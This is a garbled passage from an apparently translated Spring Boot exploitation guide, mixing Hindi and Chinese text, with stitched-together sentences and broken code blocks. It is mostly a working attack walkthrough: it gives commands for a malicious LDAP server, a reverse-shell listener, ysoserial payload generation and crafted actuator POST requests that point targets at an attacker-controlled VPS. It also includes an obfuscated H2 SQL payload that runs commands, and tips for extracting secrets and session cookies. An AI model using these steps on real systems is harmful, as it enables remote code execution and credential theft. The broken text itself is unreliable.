然后将生成的 JNDIObject.class 文件拷贝到 步骤二 中的网站根目录。
在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
चरण दो में संकलित class फ़ाइल को HTTP सर्वर की रूट डायरेक्टरी में कॉपी करें।
##### चरण चार: दुर्भावनापूर्ण ldap सेवा स्थापित करें
डाउनलोड करें [marshalsec](https://github.com/mbechler/marshalsec), नीचे दिए गए कमांड का उपयोग करके संबंधित ldap सेवा स्थापित करें:```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
सामान्यतः nc का उपयोग करके पोर्ट सुनें, रिवर्स शेल की प्रतीक्षा करें।```bash nc -lv 443
##### चरण छह: JNDI इंजेक्शन ट्रिगर करने के लिए पैकेट भेजें
वास्तविक स्थिति के अनुसार, नीचे दिए गए डेटा में `jsessionid=xxxxxx`、`www.example.com` और `ldap://your-vps-ip:1389/JNDIObject` को बदलें```bash
POST /h2-console/login.do?jsessionid=xxxxxx
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Referer: http://www.example.com/h2-console/login.jsp?jsessionid=xxxxxx
language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=javax.naming.InitialContext&url=ldap://your-vps-ip:1389/JNDIObject&user=&password=
Spring Boot + H2 डेटाबेस JNDI इंजेक्शन
repository/springboot-h2-database-rce
सामान्य पहुँच:``` http://127.0.0.1:9096/h2-console
### 0x08:mysql jdbc deserialization RCE
#### शोषण के लिए शर्तें:
- लक्ष्य वेबसाइट के `/env` इंटरफ़ेस पर POST अनुरोध करके प्रॉपर्टी सेट किया जा सकता है
- लक्ष्य वेबसाइट के `/refresh` इंटरफ़ेस पर POST अनुरोध करके कॉन्फ़िगरेशन रिफ़्रेश किया जा सकता है (`spring-boot-starter-actuator` डिपेंडेंसी मौजूद हो)
- लक्ष्य वातावरण में `mysql-connector-java` डिपेंडेंसी मौजूद हो
- लक्ष्य हमलावर के सर्वर पर अनुरोध भेज सकता है (अनुरोध बाहरी नेटवर्क तक जा सके)
#### शोषण विधि:
##### चरण 1: वातावरण डिपेंडेंसी देखें
GET अनुरोध `/env` या `/actuator/env` पर भेजें, एनवायरनमेंट वेरिएबल (classpath) में `mysql-connector-java` कीवर्ड खोजें, और उसका वर्ज़न नंबर (5.x या 8.x) नोट करें;
सामान्य डिसीरियलाइज़ेशन गैजेट डिपेंडेंसी जैसे `commons-collections`, `Jdk7u21`, `Jdk8u20` आदि की उपस्थिति के लिए एनवायरनमेंट वेरिएबल खोजें और निरीक्षण करें;
`spring.datasource.url` कीवर्ड खोजें, उसका `value` मान नोट करें, ताकि बाद में उसके सामान्य jdbc url मान को पुनर्स्थापित किया जा सके।
##### चरण 2: दुर्भावनापूर्ण rogue mysql सर्वर स्थापित करें
अपने नियंत्रित सर्वर पर [springboot-jdbc-deserialization-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-jdbc-deserialization-rce.py) स्क्रिप्ट चलाएँ, और [ysoserial](https://github.com/frohoff/ysoserial) का उपयोग करके निष्पादित करने के लिए कमांड को अनुकूलित करें:```bash
java -jar ysoserial.jar CommonsCollections3 calc > payload.ser
स्क्रिप्ट के समान निर्देशिका में payload.ser डिसेरियलाइज़ेशन पेलोड फ़ाइल उत्पन्न करें, जिसका उपयोग स्क्रिप्ट करेगी।
⚠️ इस गुण को संशोधित करने से अस्थायी रूप से वेबसाइट की सभी सामान्य डेटाबेस सेवाएं अनुपलब्ध हो जाएंगी, जिससे व्यवसाय प्रभावित होगा। कृपया सावधानी से कार्य करें!
mysql-connector-java 5.x संस्करण के लिए गुण मान सेट करें:``` jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
mysql-connector-java 8.x संस्करण **गुण मान** सेट करता है:```
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
spring.datasource.url=对应属性值
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.url","value":"对应属性值"}
spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/refresh
Content-Type: application/json
वेबसाइट के ज्ञात डेटाबेस क्वेरी इंटरफ़ेस तक पहुँचने का प्रयास करें, जैसे: /product/list , या अन्य तरीकों की तलाश करें, स्रोत वेबसाइट को सक्रिय रूप से डेटाबेस क्वेरी करने के लिए प्रेरित करें, फिर भेद्यता ट्रिगर हो जाएगी
डिसीरियलाइज़ेशन भेद्यता शोषण पूरा होने के बाद, चरण तीन की विधि का उपयोग करके चरण एक में रिकॉर्ड किए गए spring.datasource.url के मूल value मान को पुनर्स्थापित करें
New-Exploit-Technique-In-Java-Deserialization-Attack
application.properties में spring.datasource.url, spring.datasource.username, spring.datasource.password को कॉन्फ़िगर करना आवश्यक है ताकि mysql डेटाबेस से सामान्य रूप से कनेक्ट हो सके, अन्यथा प्रोग्राम शुरू होने पर त्रुटि के साथ बाहर निकल जाएगा
repository/springboot-mysql-jdbc-rce
सामान्य पहुँच:``` http://127.0.0.1:9097/actuator/env
payload भेजने के बाद भेद्यता ट्रिगर होती है:```
http://127.0.0.1:9097/product/list
/env 接口设置属性/restart 接口重启应用javax.naming.spi.ObjectFactory 接口,否则会导致程序异常退出在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
在根目录放置以 `xml` 结尾的 `example.xml` 文件,实际内容要根据步骤二中使用的 JNDI 服务来确定:```xml
<configuration>
<insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/TomcatBypass/Command/Base64/b3BlbiAtYSBDYWxjdWxhdG9y" as="appName" />
</configuration>
लेख का संदर्भ लें, JNDIExploit को संशोधित करें और प्रारंभ करें (अन्य विधियों का भी उपयोग किया जा सकता है):```bash java -jar JNDIExploit-1.0-SNAPSHOT.jar -i your-vps-ip
##### चरण तीन: logging.config गुण सेट करें
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
logging.config=http://your-vps-ip/example.xml
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"logging.config","value":"http://your-vps-ip/example.xml"}
##### चरण चार: एप्लिकेशन को पुनरारंभ करें
spring 1.x```
POST /restart
Content-Type: application/x-www-form-urlencoded
spring 2.x``` POST /actuator/restart Content-Type: application/json
#### दुरुपयोग सिद्धांत:
1. लक्ष्य मशीन `logging.config` प्रॉपर्टी के माध्यम से logback लॉग कॉन्फ़िगरेशन फ़ाइल का URL पता सेट करती है
2. restart के बाद एप्लिकेशन रीस्टार्ट करने पर, प्रोग्राम निर्दिष्ट URL से दुर्भावनापूर्ण xml फ़ाइल की सामग्री प्राप्त करेगा
3. लक्ष्य मशीन xml फ़ाइल को पार्स करने के लिए `saxParser.parse` का उपयोग करती है (यहाँ xxe भेद्यता उत्पन्न होती है)
4. xml फ़ाइल में `logback` डिपेंडेंसी के `insertFormJNDI` टैग का उपयोग करके बाहरी JNDI सर्वर पता सेट किया जाता है
5. लक्ष्य मशीन दुर्भावनापूर्ण JNDI सर्वर से अनुरोध करती है, जिससे JNDI इंजेक्शन होता है और RCE भेद्यता उत्पन्न होती है
#### भेद्यता विश्लेषण:
[spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258)
https://landgrey.me/blog/21/
#### भेद्यता वातावरण:
[repository/springboot-restart-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce)
सामान्य पहुँच:```
http://127.0.0.1:9098/actuator/env
/env एंडपॉइंट पर POST अनुरोध भेजकर प्रॉपर्टी सेट कर सकते हैं/restart एंडपॉइंट पर POST अनुरोध भेजकर एप्लिकेशन को पुनरारंभ कर सकते हैंअपने नियंत्रण वाली VPS मशीन पर एक सरल HTTP सर्वर शुरू करें, पोर्ट को सामान्य HTTP सेवा पोर्ट (80, 443) का उपयोग करके सेट करें```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
रूट डायरेक्टरी में `groovy` से समाप्त होने वाली `example.groovy` फ़ाइल रखें, जिसमें निष्पादित करने के लिए groovy कोड हो, उदाहरण के लिए:```xml
Runtime.getRuntime().exec("open -a Calculator")
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
logging.config=http://your-vps-ip/example.groovy
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"logging.config","value":"http://your-vps-ip/example.groovy"}
spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/restart
Content-Type: application/json
logging.config प्रॉपर्टी के माध्यम से logback लॉग कॉन्फ़िगरेशन फ़ाइल का URL पता सेट करती है।restart के बाद एप्लिकेशन पुनः प्रारंभ होने पर, प्रोग्राम सेट किए गए URL पते का अनुरोध करेगा।logback-classic घटक के ch.qos.logback.classic.util.ContextInitializer.java कोड फ़ाइल के तर्क में जाँच की जाती है कि URL groovy पर समाप्त होता है या नहीं।groovy पर समाप्त होता है, तो अंततः फ़ाइल सामग्री में groovy कोड निष्पादित होगा, जिससे RCE भेद्यता उत्पन्न होगी।repository/springboot-restart-rce
सामान्य पहुँच:``` http://127.0.0.1:9098/actuator/env
### 0x0B: restart spring.main.sources groovy RCE
#### उपयोग शर्तें:
- लक्ष्य वेबसाइट के `/env` एंडपॉइंट पर POST अनुरोध करके प्रॉपर्टी सेट कर सकते हैं
- लक्ष्य वेबसाइट के `/restart` एंडपॉइंट पर POST अनुरोध करके एप्लिकेशन को पुनरारंभ कर सकते हैं
- ⚠️ लक्ष्य हमलावर के HTTP सर्वर तक अनुरोध भेज सकता है (अनुरोध बाहरी नेटवर्क तक पहुँच सकता है), अन्यथा restart करने पर प्रोग्राम असामान्य रूप से बाहर निकल जाएगा
- ⚠️ यदि HTTP सर्वर एक दोषपूर्ण groovy सिंटैक्स वाली फ़ाइल लौटाता है, तो प्रोग्राम असामान्य रूप से बाहर निकल जाएगा
- ⚠️ वातावरण में groovy निर्भरता मौजूद होनी चाहिए, अन्यथा प्रोग्राम असामान्य रूप से बाहर निकल जाएगा
#### उपयोग विधि:
##### चरण 1: groovy फ़ाइल होस्ट करें
अपने नियंत्रण वाली VPS मशीन पर एक सरल HTTP सर्वर चालू करें, पोर्ट के रूप में सामान्य HTTP सेवा पोर्ट (80, 443) का उपयोग करने का प्रयास करें```bash
# 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
रूट निर्देशिका में groovy से समाप्त होने वाली example.groovy फ़ाइल रखें, जिसमें निष्पादित किए जाने वाले groovy कोड की सामग्री हो, उदाहरण के लिए:```xml
Runtime.getRuntime().exec("open -a Calculator")
##### चरण 2: Set spring.main.sources property
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
spring.main.sources=http://your-vps-ip/example.groovy
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"spring.main.sources","value":"http://your-vps-ip/example.groovy"}
##### चरण तीन: एप्लिकेशन को पुनरारंभ करें
spring 1.x```
POST /restart
Content-Type: application/x-www-form-urlencoded
spring 2.x``` POST /actuator/restart Content-Type: application/json
#### भेद्यता सिद्धांत:
1. लक्ष्य मशीन `spring.main.sources` प्रॉपर्टी के माध्यम से ApplicationContext बनाने के लिए अतिरिक्त स्रोतों का URL सेट कर सकती है।
2. restart के बाद एप्लिकेशन पुनः आरंभ होता है और प्रोग्राम सेट किए गए URL का अनुरोध करता है।
3. `spring-boot` कंपोनेंट में `org.springframework.boot.BeanDefinitionLoader.java` फ़ाइल का कोड तर्क यह जांचता है कि URL `.groovy` से समाप्त होता है या नहीं।
4. यदि URL `.groovy` से समाप्त होता है, तो अंततः फ़ाइल सामग्री में groovy कोड निष्पादित होता है, जिससे RCE भेद्यता उत्पन्न होती है।
#### भेद्यता वातावरण:
[repository/springboot-restart-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce)
सामान्य पहुँच:```
http://127.0.0.1:9098/actuator/env
/env इंटरफ़ेस पर POST अनुरोध भेजकर गुण सेट कर सकते हैं/restart इंटरफ़ेस पर POST अनुरोध भेजकर एप्लिकेशन को पुनरारंभ कर सकते हैंh2database, spring-boot-starter-data-jpa से संबंधित निर्भरताएँ मौजूद होनी चाहिएअपने नियंत्रित vps मशीन पर एक सरल HTTP सर्वर चालू करें, पोर्ट के लिए सामान्य HTTP सेवा पोर्ट (80, 443) का उपयोग करने का प्रयास करें```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
रूट डायरेक्टरी में किसी भी नाम की फ़ाइल रखें, जिसमें निष्पादित किए जाने वाले h2 sql कोड हों, उदाहरण के लिए:
> ⚠️ नीचे दिए गए payload में 'T5' विधि केवल एक बार restart के साथ निष्पादित की जा सकती है; बाद के restart के लिए नई विधि का नाम (जैसे T6) बदलना होगा और नया sql URL पता सेट करना होगा, तभी restart द्वारा पुनः उपयोग किया जा सकता है, अन्यथा दूसरी बार restart करने पर एप्लिकेशन असामान्य रूप से बाहर निकल जाएगा।```xml
CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('/bin/bash','-c','open -a Calculator');
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
spring.datasource.data=http://your-vps-ip/example.sql
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.data","value":"http://your-vps-ip/example.sql"}
spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/restart
Content-Type: application/json
spring.datasource.data प्रॉपर्टी के माध्यम से jdbc DML sql फ़ाइल का URL एड्रेस सेट कर सकती हैspring-boot-autoconfigure कंपोनेंट में org.springframework.boot.autoconfigure.jdbc.DataSourceInitializer.java फ़ाइल के कोड लॉजिक में runScripts मेथड का उपयोग करके अनुरोधित URL सामग्री में h2 database sql कोड निष्पादित किया जाता है, जिससे RCE भेद्यता उत्पन्न होती हैrepository/springboot-restart-rce
सामान्य पहुंच:``` http://127.0.0.1:9098/actuator/env
| spring-cloud-dependencies | spring-cloud-dependencies |
| Spring Cloud बड़ा संस्करण | Spring Boot संस्करण |
|---|
| Angel | Spring Boot 1.2.x के साथ संगत |
| Brixton | Spring Boot 1.3.x, 1.4.x के साथ संगत |
| Camden | Spring Boot 1.4.x, 1.5.x के साथ संगत |
| Dalston | Spring Boot 1.5.x के साथ संगत, 2.0.x के साथ असंगत |
| Edgware | Spring Boot 1.5.x के साथ संगत, 2.0.x के साथ असंगत |
| Finchley | Spring Boot 2.0.x के साथ संगत, 1.5.x के साथ असंगत |
| Greenwich | Spring Boot 2.1.x के साथ संगत |
| Hoxton | Spring Boot 2.2.x के साथ संगत |
| माइलस्टोन संस्करण |
| RCX | रिलीज़ कैंडिडेट संस्करण |
| RELEASE | आधिकारिक रिलीज़ संस्करण |
| SRX | (बग फिक्स और सुधार के बाद पुनः जारी) आधिकारिक रिलीज़ संस्करण |
/restart/jolokia、/actuator/jolokia
/jolokia/list इंटरफेस के माध्यम से उपयोग किए जा सकने वाले MBean खोजे जा सकते हैं, जो अप्रत्यक्ष रूप से संबंधित RCE कमजोरियों को ट्रिगर कर सकते हैं, तारक से ढके महत्वपूर्ण गोपनीय जानकारी का प्लेनटेक्स्ट प्राप्त कर सकते हैं, आदि।
/trace、/actuator/httptrace
कुछ HTTP अनुरोध पैकेट ट्रैकिंग जानकारी तक पहुँचते हैं, जिसमें आंतरिक नेटवर्क एप्लिकेशन सिस्टम की कुछ अनुरोध जानकारी के विवरण; साथ ही वैध उपयोगकर्ता या व्यवस्थापक के कुकी, jwt टोकन आदि की जानकारी मिलने की संभावना है।